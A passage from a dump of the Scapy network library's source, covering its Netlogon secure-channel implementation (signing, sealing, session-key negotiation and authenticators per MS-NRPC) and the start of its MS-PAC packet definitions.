WRONG !\n                # > The server MUST initialize RC4 only once, before encrypting\n                # > the Confounder field.\n                # But, this fails ! as Samba put it:\n                # > For RC4, Windows resets the cipherstate after encrypting\n                # > the confounder, thus defeating the purpose of the confounder\n                handle = RC4Init(EncryptionKey)\n                # data\n                for msg in msgs:\n                    if msg.conf_req_flag:\n                        msg.data = RC4(handle, msg.data)\n        # 9. The SequenceNumber MUST be encrypted.\n        if Context.AES:\n            EncryptionKey = self.SessionKey\n            IV = signature.Checksum * 2\n            cipher = Cipher(algorithms.AES(EncryptionKey), mode=CFB8(IV))\n            encryptor = cipher.encryptor()\n            signature.SequenceNumber = encryptor.update(SequenceNumber)\n        else:\n            EncryptionKey = ComputeNetlogonSequenceNumberKeyMD5(\n                self.SessionKey, signature.Checksum\n            )\n            signature.SequenceNumber = RC4K(EncryptionKey, SequenceNumber)\n\n        return (\n            msgs,\n            signature,\n        )\n\n    def _unsecure(self, Context, msgs, signature, Seal):\n        \"\"\"\n        Internal function used by GSS_UnwrapEx and GSS_VerifyMICEx\n\n        [MS-NRPC] 3.3.4.2.2\n        \"\"\"\n        assert isinstance(signature, NL_AUTH_SIGNATURE)\n\n        # 1. The SignatureAlgorithm bytes MUST be verified\n        if (Context.AES and signature.SignatureAlgorithm != 0x0013) or (\n            not Context.AES and signature.SignatureAlgorithm != 0x0077\n        ):\n            raise ValueError(\"Invalid SignatureAlgorithm !\")\n\n        # 5. The SequenceNumber MUST be decrypted.\n        if Context.AES:\n            EncryptionKey = self.SessionKey\n            IV = signature.Checksum * 2\n            cipher = Cipher(algorithms.AES(EncryptionKey), mode=CFB8(IV))\n            decryptor = cipher.decryptor()\n            SequenceNumber = decryptor.update(signature.SequenceNumber)\n        else:\n            EncryptionKey = ComputeNetlogonSequenceNumberKeyMD5(\n                self.SessionKey, signature.Checksum\n            )\n            SequenceNumber = RC4K(EncryptionKey, signature.SequenceNumber)\n        # 6. A local copy of SequenceNumber MUST be computed\n        CopySeqNumber = ComputeCopySeqNumber(\n            Context.ClientSequenceNumber, not Context.IsClient\n        )\n        # 7. The SequenceNumber MUST be compared to CopySeqNumber\n        if SequenceNumber != CopySeqNumber:\n            raise ValueError(\"ERROR: SequenceNumber don't match\")\n        # 8. ClientSequenceNumber MUST be incremented.\n        Context.ClientSequenceNumber += 1\n        # 9. If the Confidentiality option is requested, the Confounder and the\n        # data MUST be decrypted.\n        Confounder = None\n        if Seal:\n            if Context.AES:\n                EncryptionKey = ComputeNetlogonSealingKeyAES(self.SessionKey)\n            else:\n                EncryptionKey = ComputeNetlogonSealingKeyRC4(\n                    self.SessionKey, SequenceNumber\n                )\n            # Decrypt Confounder and data\n            if Context.AES:\n                IV = SequenceNumber * 2\n                decryptor = Cipher(\n                    algorithms.AES(EncryptionKey), mode=CFB8(IV)\n                ).decryptor()\n                # Confounder\n                Confounder = decryptor.update(signature.Confounder)\n                # data\n                for msg in msgs:\n                    if msg.conf_req_flag:\n                        msg.data = decryptor.update(msg.data)\n            else:\n                # Confounder\n                EncryptionKey = ComputeNetlogonSealingKeyRC4(\n                    self.SessionKey, SequenceNumber\n                )\n                Confounder = RC4K(EncryptionKey, signature.Confounder)\n                # data\n                handle = RC4Init(EncryptionKey)\n                for msg in msgs:\n                    if msg.conf_req_flag:\n                        msg.data = RC4(handle, msg.data)\n\n        # Concatenate the ToSign\n        ToSign = b\"\".join(x.data for x in msgs if x.sign)\n\n        # 10/11. Signature\n        if Context.AES:\n            Checksum = ComputeNetlogonChecksumAES(\n                bytes(signature), ToSign, self.SessionKey, Confounder\n            )[:8]\n        else:\n            Checksum = ComputeNetlogonChecksumMD5(\n                bytes(signature), ToSign, self.SessionKey, Confounder\n            )[:8]\n        if signature.Checksum != Checksum:\n            raise ValueError(\"ERROR: Checksum don't match\")\n        return msgs\n\n    def GSS_WrapEx(self, Context, msgs, qop_req=0):\n        return self._secure(Context, msgs, True)\n\n    def GSS_GetMICEx(self, Context, msgs, qop_req=0):\n        return self._secure(Context, msgs, False)[1]\n\n    def GSS_UnwrapEx(self, Context, msgs, signature):\n        return self._unsecure(Context, msgs, signature, True)\n\n    def GSS_VerifyMICEx(self, Context, msgs, signature):\n        self._unsecure(Context, msgs, signature, False)\n\n    def GSS_Init_sec_context(\n        self,\n        Context: CONTEXT,\n        input_token=None,\n        target_name: Optional[str] = None,\n        req_flags: Optional[GSS_C_FLAGS] = None,\n        chan_bindings: bytes = GSS_C_NO_CHANNEL_BINDINGS,\n    ):\n        if Context is None:\n            Context = self.CONTEXT(True, req_flags=req_flags, AES=self.AES)\n\n        if Context.state == self.STATE.INIT:\n            Context.state = self.STATE.CLI_SENT_NL\n            return (\n                Context,\n                NL_AUTH_MESSAGE(\n                    MessageType=0,\n                    Flags=3,\n                    NetbiosDomainName=self.domainname,\n                    NetbiosComputerName=self.computername,\n                ),\n                GSS_S_CONTINUE_NEEDED,\n            )\n        else:\n            return Context, None, GSS_S_COMPLETE\n\n    def GSS_Accept_sec_context(\n        self,\n        Context: CONTEXT,\n        input_token=None,\n        req_flags: Optional[GSS_S_FLAGS] = GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS,\n        chan_bindings: bytes = GSS_C_NO_CHANNEL_BINDINGS,\n    ):\n        if Context is None:\n            Context = self.CONTEXT(False, req_flags=req_flags, AES=self.AES)\n\n        if Context.state == self.STATE.INIT:\n            Context.state = self.STATE.SRV_SENT_NL\n            return (\n                Context,\n                NL_AUTH_MESSAGE(\n                    MessageType=1,\n                    Flags=0,\n                ),\n                GSS_S_COMPLETE,\n            )\n        else:\n            # Invalid state\n            return Context, None, GSS_S_FAILURE\n\n    def MaximumSignatureLength(self, Context: CONTEXT):\n        \"\"\"\n        Returns the Maximum Signature length.\n\n        This will be used in auth_len in DceRpc5, and is necessary for\n        PFC_SUPPORT_HEADER_SIGN to work properly.\n        \"\"\"\n        # len(NL_AUTH_SIGNATURE())\n        if Context.flags & GSS_C_FLAGS.GSS_C_CONF_FLAG:\n            if Context.AES:\n                return 56\n            else:\n                return 32\n        else:\n            if Context.AES:\n                return 48\n            else:\n                return 24\n\n\n# --- Utils\n\n\nclass NETLOGON_SECURE_CHANNEL_METHOD(enum.Enum):\n    NetrServerAuthenticate3 = 1\n    NetrServerAuthenticateKerberos = 2\n\n\nclass NetlogonClient(DCERPC_Client):\n    \"\"\"\n    A subclass of DCERPC_Client that supports establishing a Netlogon secure channel\n    using the Netlogon SSP, and handling Netlogon authenticators.\n\n    This class therefore only supports the 'logon' rpc.\n\n    :param auth_level: one of DCE_C_AUTHN_LEVEL\n\n    :param verb: verbosity control.\n    :param supportAES: advertise AES support in the Netlogon session.\n\n    Example::\n\n        >>> cli = NetlogonClient()\n        >>> cli.connect_and_bind(\"192.168.0.100\")\n        >>> cli.establish_secure_channel(\n        ...     UPN=\"WIN10@DOMAIN\",\n        ...     HASHNT=bytes.fromhex(\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"),\n        ... )\n    \"\"\"\n\n    def __init__(\n        self,\n        # Default to PRIVACY: see KB5021130\n        auth_level=DCE_C_AUTHN_LEVEL.PKT_PRIVACY,\n        verb=True,\n        supportAES=True,\n        **kwargs,\n    ):\n        self.interface = find_dcerpc_interface(\"logon\")\n        self.SessionKey = None\n        self.ClientStoredCredential = None\n        self.supportAES = supportAES\n        super(NetlogonClient, self).__init__(\n            DCERPC_Transport.NCACN_IP_TCP,\n            auth_level=auth_level,\n            verb=verb,\n            **kwargs,\n        )\n\n    def connect(self, host, **kwargs):\n        \"\"\"\n        This calls DCERPC_Client's connect to bind the 'logon' interface.\n        \"\"\"\n        super(NetlogonClient, self).connect(\n            host=host,\n            interface=self.interface,\n            **kwargs,\n        )\n\n    def create_authenticator(self):\n        \"\"\"\n        Create a NETLOGON_AUTHENTICATOR\n        \"\"\"\n        if isinstance(self.ssp, NetlogonSSP):\n            # [MS-NRPC] sect 3.1.4.5\n            ts = int(time.time())\n            self.ClientStoredCredential = _credentialAddition(\n                self.ClientStoredCredential, ts\n            )\n            return PNETLOGON_AUTHENTICATOR(\n                Credential=PNETLOGON_CREDENTIAL(\n                    data=(\n                        ComputeNetlogonCredentialAES(\n                            self.ClientStoredCredential,\n                            self.SessionKey,\n                        )\n                        if self.supportAES\n                        else ComputeNetlogonCredentialDES(\n                            self.ClientStoredCredential,\n                            self.SessionKey,\n                        )\n                    ),\n                ),\n                Timestamp=ts,\n            )\n        elif isinstance(self.ssp, KerberosSSP):\n            # Kerberos. This is off spec :(\n            return PNETLOGON_AUTHENTICATOR()\n        else:\n            raise ValueError(\"Invalid ssp case !\")\n\n    def validate_authenticator(self, auth):\n        \"\"\"\n        Validate a NETLOGON_AUTHENTICATOR\n\n        :param auth: the NETLOGON_AUTHENTICATOR object\n        \"\"\"\n        if isinstance(self.ssp, NetlogonSSP):\n            # [MS-NRPC] sect 3.1.4.5\n            self.ClientStoredCredential = _credentialAddition(\n                self.ClientStoredCredential, 1\n            )\n            if self.supportAES:\n                tempcred = ComputeNetlogonCredentialAES(\n                    self.ClientStoredCredential, self.SessionKey\n                )\n            else:\n                tempcred = ComputeNetlogonCredentialDES(\n                    self.ClientStoredCredential, self.SessionKey\n                )\n            if tempcred != auth.Credential.data:\n                raise ValueError(\"Server netlogon authenticator is wrong !\")\n        elif isinstance(self.ssp, KerberosSSP):\n            # Kerberos. This is off spec :(\n            if bytes(auth) != b\"\\x00\" * 12:\n                raise ValueError(\"Server netlogon authenticator is wrong !\")\n        else:\n            raise ValueError(\"Invalid ssp case !\")\n\n    def establish_secure_channel(\n        self,\n        UPN: str,\n        DC_FQDN: str,\n        HASHNT: Optional[bytes] = None,\n        PASSWORD: Optional[str] = None,\n        KEY=None,\n        ssp: Optional[KerberosSSP] = None,\n        mode=NETLOGON_SECURE_CHANNEL_METHOD.NetrServerAuthenticate3,\n        secureChannelType=NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,\n    ):\n        \"\"\"\n        Function to establish the Netlogon Secure Channel.\n\n        This uses NetrServerAuthenticate3 or NetrServerAuthenticateKerberos to\n        negotiate the session key, then creates a NetlogonSSP that uses that session\n        key and alters the DCE/RPC session to use it.\n\n        :param mode: one of NETLOGON_SECURE_CHANNEL_METHOD. This defines which method\n                     to use to establish the secure channel.\n        :param UPN: the UPN of the computer account name that is used to establish\n                    the secure channel. (e.g. WIN10$@domain.local)\n        :param DC_FQDN: the FQDN name of the DC.\n\n        The function then requires one of the following:\n\n        :param HASHNT: the HashNT of the computer account (in Authenticate3 mode).\n        :param KEY: a Kerberos key to use (in Kerberos mode)\n        :param PASSWORD: the password of the computer account (any mode).\n        :param ssp: a KerberosSSP to use (in Kerberos mode)\n        \"\"\"\n        computername, domainname = _parse_upn(UPN)\n        # We need to normalize here, since the functions require both the accountname\n        # and the normal (no dollar) computer name.\n        if computername.endswith(\"$\"):\n            computername = computername[:-1]\n\n        if mode == NETLOGON_SECURE_CHANNEL_METHOD.NetrServerAuthenticate3:\n            if ssp or KEY:\n                raise ValueError(\"Cannot use 'ssp' on 'KEY' in Authenticate3 mode !\")\n            if not HASHNT:\n                if PASSWORD:\n                    HASHNT = MD4le(PASSWORD)\n                else:\n                    raise ValueError(\"Missing either 'PASSWORD' or 'HASHNT' !\")\n            if \".\" in domainname:\n                raise ValueError(\n                    \"The UPN in Authenticate3 must have a NETBIOS domain name !\"\n                )\n        else:\n            if HASHNT:\n                raise ValueError(\"Cannot use 'HASHNT' in Kerberos mode !\")\n\n        # Calc NegotiateFlags\n        NegotiateFlags = FlagValue(\n            0x602FFFFF,  # sensible default (Windows)\n            names=_negotiateFlags,\n        )\n        if self.supportAES:\n            NegotiateFlags += \"AES\"\n\n        # We are either using NetrServerAuthenticate3 or NetrServerAuthenticateKerberos\n        if mode == NETLOGON_SECURE_CHANNEL_METHOD.NetrServerAuthenticate3:\n            # We use the legacy NetrServerAuthenticate3 function (NetlogonSSP)\n\n            # Make sure the interface is bound\n            if not self.bind_or_alter(self.interface):\n                raise ValueError(\"Bind failed !\")\n\n            # Flow documented in 3.1.4 Session-Key Negotiation\n            # and sect 3.4.5.2 for specific calls\n            clientChall = os.urandom(8)\n\n            # Perform NetrServerReqChallenge request\n            netr_server_req_chall_response = self.sr1_req(\n                NetrServerReqChallenge_Request(\n                    PrimaryName=None,\n                    ComputerName=computername,\n                    ClientChallenge=PNETLOGON_CREDENTIAL(\n                        data=clientChall,\n                    ),\n                    ndr64=self.ndr64,\n                    ndrendian=self.ndrendian,\n                )\n            )\n            if (\n                NetrServerReqChallenge_Response not in netr_server_req_chall_response\n                or netr_server_req_chall_response.status != 0\n            ):\n                print(\n                    conf.color_theme.fail(\n                        \"! %s\"\n                        % STATUS_ERREF.get(\n                            netr_server_req_chall_response.status, \"Failure\"\n                        )\n                    )\n                )\n                netr_server_req_chall_response.show()\n                raise ValueError(\"NetrServerReqChallenge failed !\")\n\n            # Build the session key\n            serverChall = netr_server_req_chall_response.ServerChallenge.data\n            if self.supportAES:\n                SessionKey = ComputeSessionKeyAES(HASHNT, clientChall, serverChall)\n                self.ClientStoredCredential = ComputeNetlogonCredentialAES(\n                    clientChall, SessionKey\n                )\n            else:\n                SessionKey = ComputeSessionKeyStrongKey(\n                    HASHNT, clientChall, serverChall\n                )\n                self.ClientStoredCredential = ComputeNetlogonCredentialDES(\n                    clientChall, SessionKey\n                )\n\n            # Perform Authenticate3 request\n            netr_server_auth3_response = self.sr1_req(\n                NetrServerAuthenticate3_Request(\n                    PrimaryName=\"\\\\\\\\\" + DC_FQDN,\n                    AccountName=computername + \"$\",\n                    SecureChannelType=secureChannelType,\n                    ComputerName=computername,\n                    ClientCredential=PNETLOGON_CREDENTIAL(\n                        data=self.ClientStoredCredential,\n                    ),\n                    NegotiateFlags=int(NegotiateFlags),\n                    ndr64=self.ndr64,\n                    ndrendian=self.ndrendian,\n                )\n            )\n            if netr_server_auth3_response.status != 0:\n                # An error occurred.\n                NegotiatedFlags = None\n                if NetrServerAuthenticate3_Response in netr_server_auth3_response:\n                    NegotiatedFlags = FlagValue(\n                        netr_server_auth3_response.NegotiateFlags,\n                        names=_negotiateFlags,\n                    )\n                    if NegotiateFlags != NegotiatedFlags:\n                        print(\n                            conf.color_theme.fail(\n                                \"! Unsupported server flags: %s\"\n                                % (NegotiatedFlags ^ NegotiateFlags)\n                            )\n                        )\n                raise ValueError(\"NetrServerAuthenticate3 failed !\")\n\n            # Check Server Credential\n            if self.supportAES:\n                if (\n                    netr_server_auth3_response.ServerCredential.data\n                    != ComputeNetlogonCredentialAES(serverChall, SessionKey)\n                ):\n                    print(conf.color_theme.fail(\"! Invalid ServerCredential.\"))\n                    raise ValueError\n            else:\n                if (\n                    netr_server_auth3_response.ServerCredential.data\n                    != ComputeNetlogonCredentialDES(serverChall, SessionKey)\n                ):\n                    print(conf.color_theme.fail(\"! Invalid ServerCredential.\"))\n                    raise ValueError\n\n            # SessionKey negotiated !\n            self.SessionKey = SessionKey\n\n            # Create the NetlogonSSP and assign it to the local client\n            self.ssp = self.sock.session.ssp = NetlogonSSP(\n                SessionKey=self.SessionKey,\n                AES=self.supportAES,\n                domainname=domainname,\n                computername=computername,\n            )\n\n            # Finally alter context (to use the SSP)\n            if not self.alter_context(self.interface):\n                raise ValueError(\"Bind failed !\")\n\n        elif mode == NETLOGON_SECURE_CHANNEL_METHOD.NetrServerAuthenticateKerberos:\n            # We use the brand new NetrServerAuthenticateKerberos function\n            NegotiateFlags += \"Kerberos\"\n\n            # Set KerberosSSP and alter context\n            if ssp:\n                self.ssp = self.sock.session.ssp = ssp\n            else:\n                self.ssp = self.sock.session.ssp = KerberosSSP(\n                    UPN=UPN,\n                    PASSWORD=PASSWORD,\n                    KEY=KEY,\n                )\n            # [MS-NRPC] note <185> \"Windows uses netlogon/<hostname>\"\n            target_name = \"netlogon/\" + DC_FQDN\n            if not self.bind_or_alter(self.interface, target_name=target_name):\n                raise ValueError(\"Bind failed !\")\n\n            # Send AuthenticateKerberos request\n            netr_server_authkerb_response = self.sr1_req(\n                NetrServerAuthenticateKerberos_Request(\n                    PrimaryName=\"\\\\\\\\\" + DC_FQDN,\n                    AccountName=computername + \"$\",\n                    AccountType=secureChannelType,\n                    ComputerName=computername,\n                    NegotiateFlags=int(NegotiateFlags),\n                    ndr64=self.ndr64,\n                    ndrendian=self.ndrendian,\n                )\n            )\n            if (\n                NetrServerAuthenticateKerberos_Response\n                not in netr_server_authkerb_response\n                or netr_server_authkerb_response.status != 0\n            ):\n                # An error occurred\n                netr_server_authkerb_response.show()\n                raise ValueError(\"NetrServerAuthenticateKerberos failed !\")\n"
  },
  {
    "path": "scapy/layers/msrpce/mspac.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\n[MS-PAC]\n\nhttps://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/166d8064-c863-41e1-9c23-edaaa5f36962\nUp to date with version: 23.0\n\"\"\"\n\nimport struct\n\nfrom scapy.config import conf\nfrom scapy.error import log_runtime\nfrom scapy.fields import (\n    ConditionalField,\n    FieldLenField,\n    FieldListField,\n    FlagsField,\n    LEIntEnumField,\n    LEIntField,\n    LELongField,\n    LEShortField,\n    MultipleTypeField,\n    PacketField,\n    PacketListField,\n    StrField,\n    StrFieldUtf16,\n    StrFixedLenField,\n    StrLenFieldUtf16,\n    UTCTimeField,\n    UUIDField,\n    XStrField,\n    XStrLenField,\n)\nfrom scapy.packet import Packet\nfrom scapy.layers.kerberos import (\n    _AUTHORIZATIONDATA_VALUES,\n    _KRB_S_TYPES,\n)\nfrom scapy.layers.dcerpc import (\n    NDRByteField,\n    NDRConfFieldListField,\n    NDRConfPacketListField,\n    NDRConfStrLenField,\n    NDRConfVarStrLenFieldUtf16,\n    NDRConfVarStrNullFieldUtf16,\n    NDRConformantString,\n    NDRFieldListField,\n    NDRFullEmbPointerField,\n    NDRInt3264EnumField,\n    NDRIntField,\n    NDRLongField,\n    NDRPacket,\n    NDRPacketField,\n    NDRSerialization1Header,\n    NDRSerializeType1PacketLenField,\n    NDRShortField,\n    NDRSignedLongField,\n    NDRUnionField,\n    _NDRConfField,\n    ndr_deserialize1,\n    ndr_serialize1,\n)\nfrom scapy.layers.ntlm import (\n    _NTLMPayloadField,\n    _NTLMPayloadPacket,\n)\nfrom scapy.layers.windows.security import WINNT_SID\n\n# sect 2.4\n\n\nclass PAC_INFO_BUFFER(Packet):\n    fields_desc = [\n        LEIntEnumField(\n            \"ulType\",\n            0x00000001,\n            {\n                0x00000001: \"Logon information\",\n                0x00000002: \"Credentials information\",\n                0x00000006: \"Server Signature\",\n                0x00000007: \"KDC Signature\",\n                0x0000000A: \"Client name and ticket information\",\n                0x0000000B: \"Constrained delegation information\",\n                0x0000000C: \"UPN and DNS information\",\n                0x0000000D: \"Client claims information\",\n                0x0000000E: \"Device information\",\n                0x0000000F: \"Device claims information\",\n                0x00000010: \"Ticket Signature\",\n                0x00000011: \"PAC Attributes\",\n                0x00000012: \"PAC Requestor\",\n                0x00000013: \"Extended KDC Signature\",\n            },\n        ),\n        LEIntField(\"cbBufferSize\", None),\n        LELongField(\"Offset\", None),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n_PACTYPES = {}\n\n\n# sect 2.5 - NDR PACKETS\n\n\nclass RPC_UNICODE_STRING(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRShortField(\"Length\", None, size_of=\"Buffer\", adjust=lambda _, x: (x * 2)),\n        NDRShortField(\n            \"MaximumLength\", None, size_of=\"Buffer\", adjust=lambda _, x: (x * 2)\n        ),\n        NDRFullEmbPointerField(\n            NDRConfVarStrLenFieldUtf16(\n                \"Buffer\",\n                \"\",\n                size_is=lambda pkt: (pkt.MaximumLength // 2),\n                length_is=lambda pkt: (pkt.Length // 2),\n            ),\n        ),\n    ]\n\n\nclass FILETIME(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"dwLowDateTime\", 0), NDRIntField(\"dwHighDateTime\", 0)]\n\n\nclass GROUP_MEMBERSHIP(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"RelativeId\", 0), NDRIntField(\"Attributes\", 0)]\n\n\nclass CYPHER_BLOCK(NDRPacket):\n    fields_desc = [StrFixedLenField(\"data\", \"\", length=8)]\n\n\nclass USER_SESSION_KEY(NDRPacket):\n    fields_desc = [PacketListField(\"data\", [], CYPHER_BLOCK, count_from=lambda _: 2)]\n\n\nclass RPC_SID_IDENTIFIER_AUTHORITY(NDRPacket):\n    fields_desc = [StrFixedLenField(\"Value\", \"\", length=6)]\n\n\nclass SID(NDRPacket):\n    ALIGNMENT = (4, 8)\n    DEPORTED_CONFORMANTS = [\"SubAuthority\"]\n    fields_desc = [\n        NDRByteField(\"Revision\", 0),\n        NDRByteField(\"SubAuthorityCount\", None, size_of=\"SubAuthority\"),\n        NDRPacketField(\n            \"IdentifierAuthority\",\n            RPC_SID_IDENTIFIER_AUTHORITY(),\n            RPC_SID_IDENTIFIER_AUTHORITY,\n        ),\n        NDRConfFieldListField(\n            \"SubAuthority\",\n            [],\n            NDRIntField(\"\", 0),\n            size_is=lambda pkt: pkt.SubAuthorityCount,\n            conformant_in_struct=True,\n        ),\n    ]\n\n    def summary(self):\n        return WINNT_SID.summary(self)\n\n\nclass KERB_SID_AND_ATTRIBUTES(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRPacketField(\"Sid\", SID(), SID)),\n        NDRIntField(\"Attributes\", 0),\n    ]\n\n\nclass KERB_VALIDATION_INFO(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\"LogonTime\", FILETIME(), FILETIME),\n        NDRPacketField(\"LogoffTime\", FILETIME(), FILETIME),\n        NDRPacketField(\"KickOffTime\", FILETIME(), FILETIME),\n        NDRPacketField(\"PasswordLastSet\", FILETIME(), FILETIME),\n        NDRPacketField(\"PasswordCanChange\", FILETIME(), FILETIME),\n        NDRPacketField(\"PasswordMustChange\", FILETIME(), FILETIME),\n        NDRPacketField(\"EffectiveName\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRPacketField(\"FullName\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRPacketField(\"LogonScript\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRPacketField(\"ProfilePath\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRPacketField(\"HomeDirectory\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRPacketField(\"HomeDirectoryDrive\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRShortField(\"LogonCount\", 0),\n        NDRShortField(\"BadPasswordCount\", 0),\n        NDRIntField(\"UserId\", 0),\n        NDRIntField(\"PrimaryGroupId\", 0),\n        NDRIntField(\"GroupCount\", None, size_of=\"GroupIds\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"GroupIds\",\n                [GROUP_MEMBERSHIP()],\n                GROUP_MEMBERSHIP,\n                size_is=lambda pkt: pkt.GroupCount,\n            ),\n        ),\n        NDRIntField(\"UserFlags\", 0),\n        NDRPacketField(\"UserSessionKey\", USER_SESSION_KEY(), USER_SESSION_KEY),\n        NDRPacketField(\"LogonServer\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRPacketField(\"LogonDomainName\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRFullEmbPointerField(NDRPacketField(\"LogonDomainId\", SID(), SID)),\n        NDRFieldListField(\"Reserved1\", [], NDRIntField(\"\", 0), length_is=lambda _: 2),\n        NDRIntField(\"UserAccountControl\", 0),\n        NDRFieldListField(\"Reserved3\", [], NDRIntField(\"\", 0), length_is=lambda _: 7),\n        NDRIntField(\"SidCount\", None, size_of=\"ExtraSids\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"ExtraSids\",\n                [KERB_SID_AND_ATTRIBUTES()],\n                KERB_SID_AND_ATTRIBUTES,\n                size_is=lambda pkt: pkt.SidCount,\n            ),\n        ),\n        NDRFullEmbPointerField(\n            NDRPacketField(\"ResourceGroupDomainSid\", SID(), SID),\n        ),\n        NDRIntField(\"ResourceGroupCount\", None, size_of=\"ResourceGroupIds\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"ResourceGroupIds\",\n                [GROUP_MEMBERSHIP()],\n                GROUP_MEMBERSHIP,\n                size_is=lambda pkt: pkt.ResourceGroupCount,\n            ),\n        ),\n    ]\n\n\n_PACTYPES[1] = KERB_VALIDATION_INFO\n\n# sect 2.6\n\n\nclass PAC_CREDENTIAL_INFO(Packet):\n    fields_desc = [\n        LEIntField(\"Version\", 0),\n        LEIntEnumField(\n            \"EncryptionType\",\n            1,\n            {\n                0x00000001: \"DES-CBC-CRC\",\n                0x00000003: \"DES-CBC-MD5\",\n                0x00000011: \"AES128_CTS_HMAC_SHA1_96\",\n                0x00000012: \"AES256_CTS_HMAC_SHA1_96\",\n                0x00000017: \"RC4-HMAC\",\n            },\n        ),\n        XStrField(\"SerializedData\", b\"\"),\n    ]\n\n\n_PACTYPES[2] = PAC_CREDENTIAL_INFO\n\n# sect 2.7\n\n\nclass PAC_CLIENT_INFO(Packet):\n    fields_desc = [\n        UTCTimeField(\n            \"ClientId\", None, fmt=\"<Q\", epoch=[1601, 1, 1, 0, 0, 0], custom_scaling=1e7\n        ),\n        FieldLenField(\"NameLength\", None, length_of=\"Name\", fmt=\"<H\"),\n        StrLenFieldUtf16(\"Name\", b\"\", length_from=lambda pkt: pkt.NameLength),\n    ]\n\n\n_PACTYPES[0xA] = PAC_CLIENT_INFO\n\n# sect 2.8\n\n\nclass PAC_SIGNATURE_DATA(Packet):\n    fields_desc = [\n        LEIntEnumField(\n            \"SignatureType\",\n            None,\n            _KRB_S_TYPES,\n        ),\n        XStrLenField(\n            \"Signature\",\n            b\"\",\n            length_from=lambda pkt: {\n                0x1: 4,\n                0xFFFFFF76: 16,\n                0x0000000F: 12,\n                0x00000010: 12,\n            }.get(pkt.SignatureType, 0),\n        ),\n        StrField(\"RODCIdentifier\", b\"\"),\n    ]\n\n\n_PACTYPES[6] = PAC_SIGNATURE_DATA\n_PACTYPES[7] = PAC_SIGNATURE_DATA\n_PACTYPES[0x10] = PAC_SIGNATURE_DATA\n_PACTYPES[0x13] = PAC_SIGNATURE_DATA\n\n# sect 2.9\n\n\nclass S4U_DELEGATION_INFO(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\"S4U2proxyTarget\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRIntField(\"TransitedListSize\", None, size_of=\"S4UTransitedServices\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"S4UTransitedServices\",\n                [RPC_UNICODE_STRING()],\n                RPC_UNICODE_STRING,\n                size_is=lambda pkt: pkt.TransitedListSize,\n            ),\n        ),\n    ]\n\n\n# sect 2.10\n\n\ndef _pac_post_build(self, p, pay_offset, fields):\n    \"\"\"Util function to build the offset and populate the lengths\"\"\"\n    for field_name, value in self.fields[\"Payload\"]:\n        length = self.get_field(\"Payload\").fields_map[field_name].i2len(self, value)\n        offset = fields[field_name]\n        # Length\n        if self.getfieldval(field_name + \"Len\") is None:\n            p = p[:offset] + struct.pack(\"<H\", length) + p[offset + 2 :]\n        # Offset\n        if self.getfieldval(field_name + \"BufferOffset\") is None:\n            p = p[: offset + 2] + struct.pack(\"<H\", pay_offset) + p[offset + 4 :]\n        pay_offset += length\n    return p\n\n\nclass UPN_DNS_INFO(_NTLMPayloadPacket):\n    fields_desc = [\n        LEShortField(\"UpnLen\", None),\n        LEShortField(\"UpnBufferOffset\", None),\n        LEShortField(\"DnsDomainNameLen\", None),\n        LEShortField(\"DnsDomainNameBufferOffset\", None),\n        FlagsField(\n            \"Flags\",\n            0,\n            -32,\n            [\n                \"U\",\n                \"S\",  # Extended\n            ],\n        ),\n        ConditionalField(\n            # Extended\n            LEShortField(\"SamNameLen\", None),\n            lambda pkt: pkt.Flags.S,\n        ),\n        ConditionalField(\n            # Extended\n            LEShortField(\"SamNameBufferOffset\", None),\n            lambda pkt: pkt.Flags.S,\n        ),\n        ConditionalField(\n            # Extended\n            LEShortField(\"SidLen\", None),\n            lambda pkt: pkt.Flags.S,\n        ),\n        ConditionalField(\n            # Extended\n            LEShortField(\"SidBufferOffset\", None),\n            lambda pkt: pkt.Flags.S,\n        ),\n        MultipleTypeField(\n            [\n                (\n                    # Extended\n                    _NTLMPayloadField(\n                        \"Payload\",\n                        20,\n                        [\n                            StrFieldUtf16(\"Upn\", b\"\"),\n                            StrFieldUtf16(\"DnsDomainName\", b\"\"),\n                            StrFieldUtf16(\"SamName\", b\"\"),\n                            PacketField(\"Sid\", WINNT_SID(), WINNT_SID),\n                        ],\n                    ),\n                    lambda pkt: pkt.Flags.S,\n                )\n            ],\n            # Not-extended\n            _NTLMPayloadField(\n                \"Payload\",\n                12,\n                [\n                    StrFieldUtf16(\"Upn\", b\"\"),\n                    StrFieldUtf16(\"DnsDomainName\", b\"\"),\n                ],\n            ),\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        offset = 12\n        fields = {\n            \"Upn\": 0,\n            \"DnsDomainName\": 4,\n        }\n        if self.Flags.S:\n            offset = 20\n            fields[\"SamName\"] = 12\n            fields[\"Sid\"] = 16\n        return (\n            _pac_post_build(\n                self,\n                